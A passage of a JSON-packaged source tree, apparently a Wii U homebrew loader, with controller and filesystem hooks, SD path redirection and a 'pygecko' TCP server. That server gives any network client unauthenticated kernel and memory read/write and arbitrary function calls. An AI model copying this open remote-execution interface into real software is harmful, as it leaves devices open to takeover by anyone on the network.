    "content": "#ifndef _FS_SD_FUNCTION_PATCHER_H\n#define _FS_SD_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils/function_patcher.h\"\n\nextern hooks_magic_t            method_hooks_fs_sd[];\nextern u32                      method_hooks_size_fs_sd;\nextern volatile u32             method_calls_fs_sd[];\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _FS_SD_FUNCTION_PATCHER_H */\n"
  },
  {
    "path": "src/patcher/hid_controller_function_patcher.cpp",
    "content": "#include <stdio.h>\n#include <string.h>\n#include \"hid_controller_function_patcher.h\"\n#include \"common/retain_vars.h\"\n#include \"settings/SettingsEnums.h\"\n#include \"video/CursorDrawer.h\"\n#include \"utils/logger.h\"\n#include \"controller_patcher/ControllerPatcher.hpp\"\n\nDECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target){\n    if(gHIDCurrentDevice & gHID_LIST_MOUSE && gHID_Mouse_Mode == HID_MOUSE_MODE_TOUCH) {\n        HID_Mouse_Data * mouse_data = ControllerPatcher::getMouseData();\n        if(mouse_data !=  NULL){\n            CursorDrawer::draw(mouse_data->X, mouse_data->Y);\n        }\n    }\n    real_GX2CopyColorBufferToScanBuffer(colorBuffer,scan_target);\n}\n\nDECL(void, __PPCExit, void){\n    CursorDrawer::destroyInstance();\n\n    ControllerPatcher::destroyConfigHelper();\n    ControllerPatcher::stopNetworkServer();\n\n    memset(gWPADConnectCallback,0,sizeof(gWPADConnectCallback));\n    memset(gKPADConnectCallback,0,sizeof(gKPADConnectCallback));\n    memset(gExtensionCallback,0,sizeof(gExtensionCallback));\n    gSamplingCallback = 0;\n    gCallbackCooldown = 0;\n\n    real___PPCExit();\n}\n\nDECL(int, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error) {\n    int result = real_VPADRead(chan, buffer, buffer_size, error);\n\n    if((gHIDPADEnabled == SETTING_ON) && gHIDAttached && buffer_size > 0){\n        ControllerPatcher::setRumble(UController_Type_Gamepad,!!VPADBASEGetMotorOnRemainingCount(0));\n\n        if(ControllerPatcher::setControllerDataFromHID(buffer) == CONTROLLER_PATCHER_ERROR_NONE){\n\n            if(buffer[0].btns_h & VPAD_BUTTON_HOME){\n                //You can open the home menu this way, but not close it. Need a proper way to close it using the same button...\n                //OSSendAppSwitchRequest(5,0,0); //Open the home menu!\n            }\n\n            if(error != NULL){\n                *error = 0;\n            }\n            result = 1; // We want the WiiU to ignore everything else.\n        }\n        if(gButtonRemappingConfigDone){\n            ControllerPatcher::buttonRemapping(buffer,result);\n        }\n    }\n\n    if(gSettingPadconMode == SETTING_ON){\n        if(buffer->btns_r&VPAD_BUTTON_STICK_R) {\n            s32 mode;\n            VPADGetLcdMode(0, &mode);       // Get current display mode\n            if(mode != 1) {\n                VPADSetLcdMode(0, 1);       // Turn it off\n            }\n            else {\n                VPADSetLcdMode(0, 0xFF);    // Turn it on\n            }\n        }\n    }\n    return result;\n}\n\nhooks_magic_t method_hooks_hid_controller[] __attribute__((section(\".data\"))) = {\n    MAKE_MAGIC(VPADRead,                            LIB_VPAD,       STATIC_FUNCTION),\n    MAKE_MAGIC(GX2CopyColorBufferToScanBuffer,      LIB_GX2,        STATIC_FUNCTION),\n    MAKE_MAGIC(__PPCExit,                           LIB_CORE_INIT,  STATIC_FUNCTION),\n};\n\nu32 method_hooks_size_hid_controller __attribute__((section(\".data\"))) = sizeof(method_hooks_hid_controller) / sizeof(hooks_magic_t);\n\n//! buffer to store our instructions needed for our replacements\nvolatile u32 method_calls_hid_controller[sizeof(method_hooks_hid_controller) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(\".data\")));\n\n"
  },
  {
    "path": "src/patcher/hid_controller_function_patcher.h",
    "content": "#ifndef _HID_CONTROLLER_FUNCTION_PATCHER_H\n#define _HID_CONTROLLER_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils/function_patcher.h\"\n\nextern hooks_magic_t method_hooks_hid_controller[];\nextern u32 method_hooks_size_hid_controller;\nextern volatile u32 method_calls_hid_controller[];\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _HID_CONTROLLER_FUNCTION_PATCHER_H */\n"
  },
  {
    "path": "src/patcher/patcher_util.cpp",
    "content": "#include \"patcher_util.h\"\n#include \"common/retain_vars.h\"\n#include \"cpp_to_c_util.h\"\n\n/* Client functions */\nint client_num_alloc(void *pClient) {\n    int i;\n\n    for (i = 0; i < MAX_CLIENT; i++)\n        if (bss.pClient_fs[i] == pClient) {\n            return i;\n        }\n\n    for (i = 0; i < MAX_CLIENT; i++)\n        if (bss.pClient_fs[i] == 0) {\n            bss.pClient_fs[i] = pClient;\n            return i;\n        }\n    return -1;\n}\n\nint client_num(void *pClient) {\n    int i;\n    for (i = 0; i < MAX_CLIENT; i++)\n        if (bss.pClient_fs[i] == pClient)\n            return i;\n    return -1;\n}\n\nvoid client_num_free(int client) {\n    bss.pClient_fs[client] = 0;\n}\n\n int getPathType(const char *path) {\n    // In case the path starts by \"//\" and not \"/\" (some games do that ... ...)\n    if (path[0] == '/' && path[1] == '/')\n        path = &path[1];\n\n    // In case the path does not start with \"/\" (some games do that too ...)\n    int len = 0;\n    char new_path[16];\n    if(path[0] != '/') {\n        new_path[0] = '/';\n        len++;\n    }\n\n    while(*path && len < (int)(sizeof(new_path) - 1)) {\n        new_path[len++] = *path++;\n    }\n    new_path[len++] = 0;\n\n    /* Note : no need to check everything, it is faster this way */\n    if (strncasecmp(new_path, \"/vol/content\", 12) == 0)\n        return PATH_TYPE_GAME;\n\n    if (strncasecmp(new_path, \"/vol/save\", 9) == 0)\n        return PATH_TYPE_SAVE;\n\n    if (strncasecmp(new_path, \"/vol/aoc\", 8) == 0)\n        return PATH_TYPE_AOC;\n\n    return 0;\n}\n\nvoid compute_new_path(char* new_path, const char* path, int len, int pathType) {\n\n    int i, n, path_offset = 0;\n\n    // In case the path starts by \"//\" and not \"/\" (some games do that ... ...)\n    if (path[0] == '/' && path[1] == '/')\n        path = &path[1];\n\n    // In case the path does not start with \"/\" set an offset for all the accesses\n\tif(path[0] != '/')\n\t\tpath_offset = -1;\n\n    // some games are doing /vol/content/./....\n    if(path[13 + path_offset] == '.' && path[14 + path_offset] == '/') {\n        path_offset += 2;\n    }\n\n    if(pathType == PATH_TYPE_GAME)\n    {\n\t\tchar * pathfoo = (char*)path + 13 + path_offset;\n\t\tif(path[13 + path_offset] == '/') pathfoo++; //Skip double slash\n\n        n = strlcpy(new_path, bss.mount_base, sizeof(bss.mount_base));\n\n\t\tif(gSettingUseUpdatepath){\n\t\t\tif(replacement_FileReplacer_isFileExisting(bss.file_replacer,pathfoo) == 0){\n                n -= (sizeof(CONTENT_PATH) -1); // Go back the content folder! (-1 to ignore \\0)\n                n += strlcpy(new_path+n, UPDATE_PATH, sizeof(UPDATE_PATH));\n                new_path[n++] = '/';\n                n += strlcpy(new_path+n, gamePathStruct.update_folder, sizeof(gamePathStruct.update_folder));\n                n += strlcpy(new_path+n, CONTENT_PATH, sizeof(CONTENT_PATH));\n\t\t\t}\n\t\t}\n\n        // copy the content file path with slash at the beginning\n        for (i = 0; i < (len - 12 - path_offset); i++) {\n            char cChar = path[12 + i + path_offset];\n            // skip double slashes\n            if((new_path[n-1] == '/') && (cChar == '/')) {\n                continue;\n            }\n            new_path[n++] = cChar;\n        }\n\n        new_path[n++] = '\\0';\n    }\n    else if(pathType == PATH_TYPE_SAVE)\n    {\n        n = strlcpy(new_path, bss.save_base, sizeof(bss.save_base));\n        new_path[n++] = '/';\n\n        if(gSettingUseUpdatepath){\n            if(gamePathStruct.extraSave){\n                n += strlcpy(new_path+n, gamePathStruct.update_folder, sizeof(gamePathStruct.update_folder));\n                n += strlcpy(new_path+n, \"/\", 2);\n            }\n        }\n\n        // Create path for common and user dirs\n        if (path[10 + path_offset] == 'c') // common dir (\"common\")\n        {\n            n += strlcpy(&new_path[n], bss.save_dir_common, strlen(bss.save_dir_common) + 1);\n\n            // copy the save game filename now with the slash at the beginning\n            for (i = 0; i < (len - 16 - path_offset); i++) {\n                char cChar = path[16 + path_offset + i];\n                // skip double slashes\n                if((new_path[n-1] == '/') && (cChar == '/')) {\n                    continue;\n                }\n                new_path[n++] = cChar;\n            }\n        }\n        else if (path[10 + path_offset] == '8') // user dir (\"800000??\") ?? = user permanent id\n        {\n            n += strlcpy(&new_path[n], bss.save_dir_user, strlen(bss.save_dir_user) + 1);\n\n            // copy the save game filename now with the slash at the beginning\n            for (i = 0; i < (len - 18 - path_offset); i++) {\n               char cChar = path[18 + path_offset + i];\n                // skip double slashes\n                if((new_path[n-1] == '/') && (cChar == '/')) {\n                    continue;\n                }\n                new_path[n++] = cChar;\n            }\n        }\n        new_path[n++] = '\\0';\n    }\n    else if(pathType == PATH_TYPE_AOC)\n    {\n        char * pathfoo = (char*)path + 4 + path_offset;\n        if(pathfoo[0] == '/') pathfoo++; //Skip double slash\n\n        n = strlcpy(new_path, bss.mount_base, sizeof(bss.mount_base)) - strlen(CONTENT_PATH);\n        n += strlcpy(new_path + n, \"/\", sizeof(bss.mount_base) - n);\n        n += strlcpy(new_path + n, pathfoo, sizeof(bss.mount_base) - n);\n\n        new_path[n++] = '\\0';\n    }\n}\n\nint GetCurClient(void *pClient) {\n    if ((int)bss_ptr != 0x0a000000) {\n        int client = client_num(pClient);\n        if (client >= 0) {\n            return client;\n        }\n    }\n    return -1;\n}\n\nint getNewPathLen(int pathType){\n\n    int len_base = 0;\n    if(pathType == PATH_TYPE_SAVE)\n    {\n        len_base += strlen(bss.save_base) + 15;\n        if(gSettingUseUpdatepath){\n            if(gamePathStruct.extraSave){\n                len_base += (strlen(gamePathStruct.update_folder) + 2);\n            }\n        }\n    }\n    else if(pathType == PATH_TYPE_AOC)\n    {\n        len_base += strlen(bss.mount_base) - strlen(CONTENT_PATH) + 23;\n    }\n    else\n    {\n        len_base += strlen(bss.mount_base);\n        if(gSettingUseUpdatepath){\n             len_base += sizeof(UPDATE_PATH);\n             //len_base += sizeof(CONTENT_PATH); <-- Is already in the path!\n             len_base += 1; // \"/\"\n             len_base += sizeof(gamePathStruct.update_folder);\n        }\n    }\n\n    return len_base;\n}\n"
  },
  {
    "path": "src/patcher/patcher_util.h",
    "content": "#ifndef _PATCHER_UTIL_H\n#define _PATCHER_UTIL_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"common/common.h\"\n#include <stdio.h>\n#include <string.h>\n\n#define PATH_TYPE_IGNORE    0\n#define PATH_TYPE_GAME      1\n#define PATH_TYPE_SAVE      2\n#define PATH_TYPE_AOC       3\n\n\n/* Forward declarations */\n#define MAX_CLIENT 32\n\nstruct bss_t {\n    int global_sock;\n    int socket_fs[MAX_CLIENT];\n    void *pClient_fs[MAX_CLIENT];\n    volatile int lock;\n    char mount_base[255];\n    char save_base[255];\n\tvoid* file_replacer;\n\tchar update_path[50];\n\tchar save_dir_common[7];\n    char save_dir_user[9];\n};\n\n#define bss_ptr (*(struct bss_t **)0x100000e4)\n#define bss (*bss_ptr)\n\nextern game_paths_t gamePathStruct;\n\nint client_num_alloc(void *pClient);\nint client_num(void *pClient);\nvoid client_num_free(int client);\nint getPathType(const char *path);\nvoid compute_new_path(char* new_path, const char* path, int len, int pathType);\nint GetCurClient(void *pClient);\nint getNewPathLen(int pathType);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _PATCHER_UTIL_H */\n"
  },
  {
    "path": "src/patcher/pygecko.c",
    "content": "#include <string.h>\n#include <malloc.h>\n#include \"common/common.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"kernel/syscalls.h\"\n\nstruct pygecko_bss_t {\n\tint error, line;\n\tvoid* thread;\n\tunsigned char stack[0x8000];\n};\n\n#define CHECK_ERROR(cond) if (cond) { bss->line = __LINE__; goto error; }\n#define errno (*__gh_errno_ptr())\n#define EWOULDBLOCK     6\n\nstatic int recvwait(struct pygecko_bss_t *bss, int sock, void *buffer, int len) {\n\tint ret;\n\twhile (len > 0) {\n\t\tret = recv(sock, buffer, len, 0);\n\t\tCHECK_ERROR(ret < 0);\n\t\tlen -= ret;\n\t\tbuffer += ret;\n\t}\n\treturn 0;\nerror:\n\tbss->error = ret;\n\treturn ret;\n}\n\nstatic int recvbyte(struct pygecko_bss_t *bss, int sock) {\n\tunsigned char buffer[1];\n\tint ret;\n\n\tret = recvwait(bss, sock, buffer, 1);\n\tif (ret < 0) return ret;\n\treturn buffer[0];\n}\n\nstatic int checkbyte(struct pygecko_bss_t *bss, int sock) {\n\tunsigned char buffer[1];\n\tint ret;\n\n\tret = recv(sock, buffer, 1, MSG_DONTWAIT);\n\tif (ret < 0) return ret;\n\tif (ret == 0) return -1;\n\treturn buffer[0];\n}\n\nstatic int sendwait(struct pygecko_bss_t *bss, int sock, const void *buffer, int len) {\n\tint ret;\n\twhile (len > 0) {\n\t\tret = send(sock, buffer, len, 0);\n\t\tCHECK_ERROR(ret < 0);\n\t\tlen -= ret;\n\t\tbuffer += ret;\n\t}\n\treturn 0;\nerror:\n\tbss->error = ret;\n\treturn ret;\n}\n\nstatic int sendbyte(struct pygecko_bss_t *bss, int sock, unsigned char byte) {\n\tunsigned char buffer[1];\n\n\tbuffer[0] = byte;\n\treturn sendwait(bss, sock, buffer, 1);\n}\n\nstatic int rungecko(struct pygecko_bss_t *bss, int clientfd) {\n\tint ret;\n\tunsigned char buffer[0x401];\n\n\twhile (1) {\n\t\tret = checkbyte(bss, clientfd);\n\n\t\tif (ret < 0) {\n\t\t\tCHECK_ERROR(errno != EWOULDBLOCK);\n\t\t\tGX2WaitForVsync();\n\t\t\tcontinue;\n\t\t}\n\n\t\tswitch (ret) {\n\t\tcase 0x01: { /* cmd_poke08 */\n\t\t\tchar *ptr;\n\t\t\tret = recvwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\tptr = ((char **)buffer)[0];\n\t\t\t*ptr = buffer[7];\n\t\t\tDCFlushRange(ptr, 1);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x02: { /* cmd_poke16 */\n\t\t\tshort *ptr;\n\t\t\tret = recvwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\tptr = ((short **)buffer)[0];\n\t\t\t*ptr = ((short *)buffer)[3];\n\t\t\tDCFlushRange(ptr, 2);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x03: { /* cmd_pokemem */\n\t\t\tint *ptr;\n\t\t\tret = recvwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\tptr = ((int **)buffer)[0];\n\t\t\t*ptr = ((int *)buffer)[1];\n\t\t\tDCFlushRange(ptr, 4);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x04: { /* cmd_readmem */\n\t\t\tconst unsigned char *ptr, *end;\n\t\t\tret = recvwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tptr = ((const unsigned char **)buffer)[0];\n\t\t\tend = ((const unsigned char **)buffer)[1];\n\n\t\t\twhile (ptr != end) {\n\t\t\t\tint len, i;\n\n\t\t\t\tlen = end - ptr;\n\t\t\t\tif (len > 0x400)\n\t\t\t\t\tlen = 0x400;\n\t\t\t\tfor (i = 0; i < len; i++)\n\t\t\t\t\tif (ptr[i] != 0) break;\n\n\t\t\t\tif (i == len) { // all zero!\n\t\t\t\t\tret = sendbyte(bss, clientfd, 0xb0);\n\t\t\t\t\tCHECK_ERROR(ret < 0);\n\t\t\t\t} else {\n\t\t\t\t\tmemcpy(buffer + 1, ptr, len);\n\t\t\t\t\tbuffer[0] = 0xbd;\n\t\t\t\t\tret = sendwait(bss, clientfd, buffer, len + 1);\n\t\t\t\t\tCHECK_ERROR(ret < 0);\n\t\t\t\t}\n\n\t\t\t\tret = checkbyte(bss, clientfd);\n\t\t\t\tif (ret == 0xcc) /* GCFAIL */\n\t\t\t\t\tgoto next_cmd;\n\t\t\t\tptr += len;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x0b: { /* cmd_writekern */\n\t\t\tvoid *ptr, * value;\n\t\t\tret = recvwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\tptr = ((void **)buffer)[0];\n\t\t\tvalue = ((void **)buffer)[1];\n\n\t\t\tkern_write(ptr, (uint32_t)value);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x0c: { /* cmd_readkern */\n\t\t\tvoid *ptr, *value;\n\t\t\tret = recvwait(bss, clientfd, buffer, 4);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\tptr = ((void **)buffer)[0];\n\n\t\t\tvalue = (void*)kern_read(ptr);\n\n\t\t\t*(void **)buffer = value;\n\t\t\tsendwait(bss, clientfd, buffer, 4);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x41: { /* cmd_upload */\n\t\t\tunsigned char *ptr, *end, *dst;\n\t\t\tret = recvwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tptr = ((unsigned char **)buffer)[0];\n\t\t\tend = ((unsigned char **)buffer)[1];\n\n\t\t\twhile (ptr != end) {\n\t\t\t\tint len;\n\n\t\t\t\tlen = end - ptr;\n\t\t\t\tif (len > 0x400)\n\t\t\t\t\tlen = 0x400;\n\t\t\t\tif ((int)ptr >= 0x10000000 && (int)ptr <= 0x50000000) {\n\t\t\t\t\tdst = ptr;\n\t\t\t\t} else {\n\t\t\t\t\tdst = buffer;\n\t\t\t\t}\n\t\t\t\tret = recvwait(bss, clientfd, dst, len);\n\t\t\t\tCHECK_ERROR(ret < 0);\n\t\t\t\tif (dst == buffer) {\n\t\t\t\t\tmemcpy(ptr, buffer, len);\n\t\t\t\t}\n\n\t\t\t\tptr += len;\n\t\t\t}\n\n\t\t\tsendbyte(bss, clientfd, 0xaa); /* GCACK */\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x50: { /* cmd_status */\n\t\t\tret = sendbyte(bss, clientfd, 1); /* running */\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x70: { /* cmd_rpc */\n\t\t\tlong long (*fun)(int, int, int, int, int, int, int, int);\n\t\t\tint r3, r4, r5, r6, r7, r8, r9, r10;\n\t\t\tlong long result;\n\n\t\t\tret = recvwait(bss, clientfd, buffer, 4 + 8 * 4);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\tfun = ((void **)buffer)[0];\n\t\t\tr3 = ((int *)buffer)[1];\n\t\t\tr4 = ((int *)buffer)[2];\n\t\t\tr5 = ((int *)buffer)[3];\n\t\t\tr6 = ((int *)buffer)[4];\n\t\t\tr7 = ((int *)buffer)[5];\n\t\t\tr8 = ((int *)buffer)[6];\n\t\t\tr9 = ((int *)buffer)[7];\n\t\t\tr10 = ((int *)buffer)[8];\n\n\t\t\tresult = fun(r3, r4, r5, r6, r7, r8, r9, r10);\n\n\t\t\t((long long *)buffer)[0] = result;\n\t\t\tret = sendwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x71: { /* cmd_getsymbol */\n\t\t\tint size = recvbyte(bss, clientfd);\n\t\t\tCHECK_ERROR(size < 0);\n\t\t\tret = recvwait(bss, clientfd, buffer, size);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\t/* Identify the RPL name and symbol name */\n\t\t\tchar *rplname = (char*) &((int*)buffer)[2];\n\t\t\tchar *symname = (char*) (&buffer[0] + ((int*)buffer)[1]);\n\n\t\t\t/* Get the symbol and store it in the buffer */\n\t\t\tunsigned int module_handle, function_address;\n\t\t\tOSDynLoad_Acquire(rplname, &module_handle);\n\n\t\t\tchar data = recvbyte(bss, clientfd);\n\t\t\tOSDynLoad_FindExport(module_handle, data, symname, &function_address);\n\n\t\t\t((int*)buffer)[0] = (int)function_address;\n\t\t\tret = sendwait(bss, clientfd, buffer, 4);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x72: { /* cmd_search32 */\n\t\t\tret = recvwait(bss, clientfd, buffer, 12);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tint addr = ((int *) buffer)[0];\n\t\t\tint val = ((int  *) buffer)[1];\n\t\t\tint size = ((int *) buffer)[2];\n\t\t\tint i;\n\t\t\tint resaddr = 0;\n\t\t\tfor(i = addr; i < (addr+size); i+=4)\n\t\t\t{\n\t\t\t\tif(*(int*)i == val)\n\t\t\t\t{\n\t\t\t\t\tresaddr = i;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t((int *)buffer)[0] = resaddr;\n\t\t\tret = sendwait(bss, clientfd, buffer, 4);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x80: { /* cmd_rpc_big */\n\t\t\tlong long (*fun)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int);\n\t\t\tint r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, r13, r14, r15, r16, r17, r18;\n\t\t\tlong long result;\n\n\t\t\tret = recvwait(bss, clientfd, buffer, 4 + 16 * 4);\n\t\t\tCHECK_ERROR(ret < 0);\n\n\t\t\tfun = ((void **)buffer)[0];\n\t\t\tr3  = ((int *)buffer)[1];\n\t\t\tr4  = ((int *)buffer)[2];\n\t\t\tr5  = ((int *)buffer)[3];\n\t\t\tr6  = ((int *)buffer)[4];\n\t\t\tr7  = ((int *)buffer)[5];\n\t\t\tr8  = ((int *)buffer)[6];\n\t\t\tr9  = ((int *)buffer)[7];\n\t\t\tr10 = ((int *)buffer)[8];\n\t\t\tr11 = ((int *)buffer)[9];\n\t\t\tr12 = ((int *)buffer)[10];\n\t\t\tr13 = ((int *)buffer)[11];\n\t\t\tr14 = ((int *)buffer)[12];\n\t\t\tr15 = ((int *)buffer)[13];\n\t\t\tr16 = ((int *)buffer)[14];\n\t\t\tr17 = ((int *)buffer)[15];\n\t\t\tr18 = ((int *)buffer)[16];\n\n\t\t\tresult = fun(r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, r13, r14, r15, r16, r17, r18);\n\n\t\t\t((long long *)buffer)[0] = result;\n\t\t\tret = sendwait(bss, clientfd, buffer, 8);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x99: { /* cmd_version */\n\t\t\tret = sendbyte(bss, clientfd, 0x82); /* WiiU */\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0x9A: { /* cmd_os_version */\n\t\t\t((int *)buffer)[0] = (int)OS_FIRMWARE;\n\t\t\tret = sendwait(bss, clientfd, buffer, 4);\n\t\t\tCHECK_ERROR(ret < 0);\n\t\t\tbreak;\n\t\t}\n\t\tcase 0xcc: { /* GCFAIL */\n\t\t\tbreak;\n\t\t}\n\t\tdefault:\n\t\t\tret = -1;\n\t\t\tCHECK_ERROR(0);\n\t\t\tbreak;\n\t\t}\nnext_cmd:\n\t\tcontinue;\n\t}\n\treturn 0;\nerror:\n\tbss->error = ret;\n\treturn 0;\n}\n\nstatic int pygecko_main(int argc, void *argv) {\n\tint sockfd = -1, clientfd = -1, ret, len;\n\tstruct sockaddr_in addr;\n\tstruct pygecko_bss_t *bss = argv;\n\n\tsocket_lib_init();\n\n\twhile (1) {\n\t\taddr.sin_family = AF_INET;\n\t\taddr.sin_port = 7331;\n\t\taddr.sin_addr.s_addr = 0;\n\n\t\tsockfd = ret = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\t\tCHECK_ERROR(ret == -1);\n        int enable = 1;\n        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable));\n\t\tret = bind(sockfd, (void *)&addr, 16);\n\t\tCHECK_ERROR(ret < 0);\n\t\tret = listen(sockfd, 1);\n\t\tCHECK_ERROR(ret < 0);\n\n\t\twhile(1)\n        {\n            len = 16;\n            clientfd = ret = accept(sockfd, (void *)&addr, &len);\n            CHECK_ERROR(ret == -1);\n            rungecko(bss, clientfd);\n            socketclose(clientfd);\n            clientfd = -1;\n        }\n\t\tcontinue;\nerror:\n\t\tif (clientfd != -1)\n\t\t\tsocketclose(clientfd);\n\t\tif (sockfd != -1)\n\t\t\tsocketclose(sockfd);\n        clientfd = -1;\n        sockfd = -1;\n\t\tbss->error = ret;\n\t\tos_usleep(100000);\n\t}\n\treturn 0;\n}\n\nvoid start_pygecko(void)\n{\n\tstruct pygecko_bss_t *bss;\n\n\tbss = memalign(0x40, sizeof(struct pygecko_bss_t));\n\tif (bss == 0)\n\t\treturn;\n\tmemset(bss, 0, sizeof(struct pygecko_bss_t));\n\n\tif(OSCreateThread(&bss->thread, pygecko_main, 1, bss, (u32)bss->stack + sizeof(bss->stack), sizeof(bss->stack), 0, 0x1C) == 1)\n    {\n        OSResumeThread(&bss->thread);\n    }\n    else\n    {\n        free(bss);\n    }\n}\n"
  },
  {
    "path": "src/patcher/pygecko.h",
    "content": "#ifndef _PYGECKO_H_\n#define _PYGECKO_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid start_pygecko(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _PYGECKO_H_ */\n"
  },
  {
    "path": "src/patcher/rplrpx_patcher.cpp",
    "content": "#include \"malloc.h\"\n#include \"common/retain_vars.h\"\n#include \"patcher/fs_patcher.h\"\n#include \"common/loader_defs.h\"\n#include \"rplrpx_patcher.h\"\n#include \"patcher_util.h\"\n#include \"fs_logger.h\"\n#include \"game/rpx_rpl_table.h\"\n\n/* *****************************************************************************\n * Dynamic RPL loading to memory\n * ****************************************************************************/\nstatic int LoadRPLToMemory(s_rpx_rpl *rpl_entry)\n{\n    if ((int)bss_ptr != 0x0a000000)\n    {\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"CheckAndLoadRPL(%s) found and loading\", rpl_entry->name);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n    }\n\n    // initialize FS\n    FSInit();\n    void *pClient = malloc(FS_CLIENT_SIZE);\n    if (!pClient)\n        return 0;\n\n    void *pCmd = malloc(FS_CMD_BLOCK_SIZE);\n    if (!pCmd)\n    {\n        free(pClient);\n        return 0;\n    }\n\n    // calculate path length for SD access of RPL\n    int path_len = strlen(gamePathStruct.os_game_path_base) + strlen(gamePathStruct.game_dir) + strlen(RPX_RPL_PATH) + strlen(rpl_entry->name) + 3;\n\tchar *path_update_rpl = NULL;\n    char *path_rpl = (char *) malloc(path_len);\n    if(!path_rpl) {\n        free(pCmd);\n        free(pClient);\n        return 0;\n    }\n\n    // malloc mem for read file\n    unsigned char* dataBuf = (unsigned char*)memalign(0x40, 0x10000);\n    if(!dataBuf) {\n        free(pCmd);\n        free(pClient);\n        free(path_rpl);\n        return 0;\n    }\n\n\tunsigned char * dataBufPhysical = (unsigned char*)OSEffectiveToPhysical(dataBuf);\n\n    // do more initial FS stuff\n    FSInitCmdBlock(pCmd);\n    FSAddClientEx(pClient, 0, -1);\n\n    // set RPL size to 0 to avoid wrong RPL being loaded when opening file fails\n    rpl_entry->size = 0;\n    rpl_entry->offset = 0;\n\n\t// create path\n    __os_snprintf(path_rpl, path_len, \"%s/%s%s/%s\", gamePathStruct.os_game_path_base, gamePathStruct.game_dir, RPX_RPL_PATH, rpl_entry->name);\n\n\tif(gSettingUseUpdatepath){\n        free(path_rpl);\n\t\tint path_len_update_rpl = strlen(gamePathStruct.os_game_path_base) + strlen(gamePathStruct.game_dir) + strlen(UPDATE_PATH) + strlen(gamePathStruct.update_folder) + strlen(RPX_RPL_PATH) + strlen(rpl_entry->name) + 4;\n\t\tpath_update_rpl = (char *) malloc(path_len_update_rpl);\n\t\tif(!path_update_rpl) {\n\t\t\tfree(pCmd);\n\t\t\tfree(pClient);\n\t\t\treturn 0;\n\t\t}\n\t\t__os_snprintf(path_update_rpl, path_len_update_rpl, \"%s/%s%s/%s/%s\", gamePathStruct.os_game_path_base, gamePathStruct.game_dir, UPDATE_PATH, gamePathStruct.update_folder, RPX_RPL_PATH, rpl_entry->name);\n\t\tfs_log_string(bss.global_sock, path_update_rpl, BYTE_LOG_STR);\n\t\tint ret = -2;\n\t\tFSStat stats;\n\t\tif((ret = real_FSGetStat(pClient, pCmd, path_update_rpl, &stats, FS_RET_ALL_ERROR)) == 0){\n\t\t\tfs_log_string(bss.global_sock, \"Loading RPL from update path\", BYTE_LOG_STR);\n\t\t\tpath_rpl = path_update_rpl;\n\t\t}else{\n\t\t\tchar error_message[50];\n\t\t\t__os_snprintf(error_message, 50, \"FSGetStat Result: %d\", ret);\n\t\t\tfs_log_string(bss.global_sock, error_message, BYTE_LOG_STR);\n\t\t}\n\t}\n\n    s32 fd = 0;\n    if (real_FSOpenFile(pClient, pCmd, path_rpl, \"r\", &fd, FS_RET_ALL_ERROR) == FS_STATUS_OK)\n    {\n        int ret;\n        int rpl_size = 0;\n\n        // Copy rpl in memory\n        while ((ret = FSReadFile(pClient, pCmd, dataBuf, 0x1, 0x10000, fd, 0, FS_RET_ALL_ERROR)) > 0)\n        {\n\t\t\tDCFlushRange((void *)dataBuf, ret);\n\n            // Copy in memory and save offset\n            int copiedData = rpxRplCopyDataToMem(rpl_entry, rpl_size, dataBufPhysical, ret);\n            